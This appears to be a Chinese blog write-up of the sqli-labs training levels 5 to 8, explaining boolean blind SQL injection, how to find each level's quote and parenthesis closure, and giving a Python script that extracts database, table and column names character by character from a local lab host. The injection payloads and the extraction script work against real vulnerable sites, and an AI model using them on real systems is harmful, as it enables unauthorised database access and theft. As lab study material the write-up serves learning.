sqli-labs 5-8笔记

Less-5

依旧是单引号注入

 

 

 

 

 

 与前几关不同的是这里成功闭合sql语句后页面也不会有回显,只会显示you are in.....

这种情况下就不能用联合查询进行sql注入了,因为联合查询必须要根据页面回显进行操作,但是这里只有一个无法利用的回显

对于这种页面没有回显或者回显无法利用的情况应该使用盲注,包括布尔盲注和时间盲注,这里使用布尔盲注进行注入

首先用盲注判断数据库长度

 

 length()函数用于取出当前数据库名称长度

可以看到将条件设定为4时没有回显,说明当前数据库长度不为4

 

 设定为8,有回显,说明当前数据库长度为8

接下来挨个字符判断当前数据库名称

 

 substr()函数用于取出数据库第一个字符,第一个1表示从第一个字符开始,第二个一表示一次取一个字符,ascii()用于将取出的字符转为ascii码

图中无回显说明第一个字符对应的十进制ascii码不小于8

 

 图中有回显,说明第一个字符对应的十进制ascii码为115,查表知第一个字符是s

其余字符的判断同理

接着判断所有表名的字符总长度

 

 

 

 这里group_concat()插入的逗号也计入长度之中

继续逐一判断表名

 

 

 

 根据ascii表,知第一个表的首字母为e,其余判断同理

值得注意的是,在通过盲注得到第一个表名为emails后,继续盲注

 

 

 

 第七个字符为逗号,是group_concat的默认分隔符

得出所有的表名后,可以进一步判断字段,先判断所有字段的长度

这里以users表为例

 

 

 

 字段长度之和为19(加上逗号)

继续判断字段的名称,方法同判断表名相同

得出三个字段分别为id username和password

判断字段username和password的总数据长度

 

 逐一判断内容

 

 

 

 查表,第一个username的值以D开头

这关也可以用脚本,更加快捷

import requests
import string


class GetInject:
# mysql不区分大小写,一般表名、列名都是由字母组成的比较多,所以把字母集放前面,先枚举
chr_str = string.ascii_lowercase + string.punctuation + string.digits

def __init__(self, url, mark, obj):
'''
obj参数举例:
obj = "database()"
obj = "select table_name from information_schema.tables where table_schema=database() limit 0,1"
'''
self.url = url
self.mark = mark
self.obj = obj

def get_length(self):
payload_len = "' and length({0})={1} --+"
# 如果实例参数是双引号型或者整数型,记得把改payload格式
i = 1
while True:
#format(),格式字符串函数
payload_len_i = payload_len.format(self.obj, i)
r = requests.get(self.url + payload_len_i)
if self.mark in r.text:
print("len", i)
return i
i += 1

def get_name(self):
name_len = self.get_length()
payload_name = "' and substr({0},{1},1)='{2}' --+"
output = ''
for i in range(1, name_len + 1):
for c in self.chr_str: # 直接枚举
payload_name_i = payload_name.format(self.obj, i, c)
r = requests.get(url + payload_name_i)
if self.mark in r.text:
output += c
print(output)
break
return output


# mark 是判断为True还是False的标志,这里是you are in
url = "http://192.168.48.133/sqli-labs/Less-5/?id=1"
mark = "You are in"
obj_l = "database()"
obj_t = "(select group_concat(table_name) from information_schema.tables where table_schema=database())"
obj_c = "(select group_concat(column_name) from information_schema.columns where table_schema=database())"

test1 = GetInject(url, mark, obj_l)
test1.get_name()

 

 

 

Less-6sql闭合方式变成了双引号,其余与5相同

 

Less-7

这个判断闭合方式有点意思

 

 首先输入1'报错

去掉单引号显示正常

 

 加上单引号和注释

 

 还是报错,说明闭合方式不是单引号(如果是单引号则通过注释符应该可以将语句变为正常的sql语句)

按此思路挨个尝试闭合方式

 

 报错

 

加注释符

 

 正常,说明闭合方式为'))

剩下的注入依旧为盲注,与 5 6关注入方式相同

 

 

Less 8

这一关没有sql报错,但可以通过you are in的回显进行判断

 

 正常情况显示you are in

 加单引没有报错但无回显

 

 注释有回显

 

说明闭合方式为单引号

 

若尝试其他闭合方式

 

 

 

 注释与否均无回显,亦可说明单引号为正确的闭合方式

注入方式仍为盲注,与前几关类似

posted @ 2022-10-24 00:09  unknown27  阅读(23)  评论(0)    收藏  举报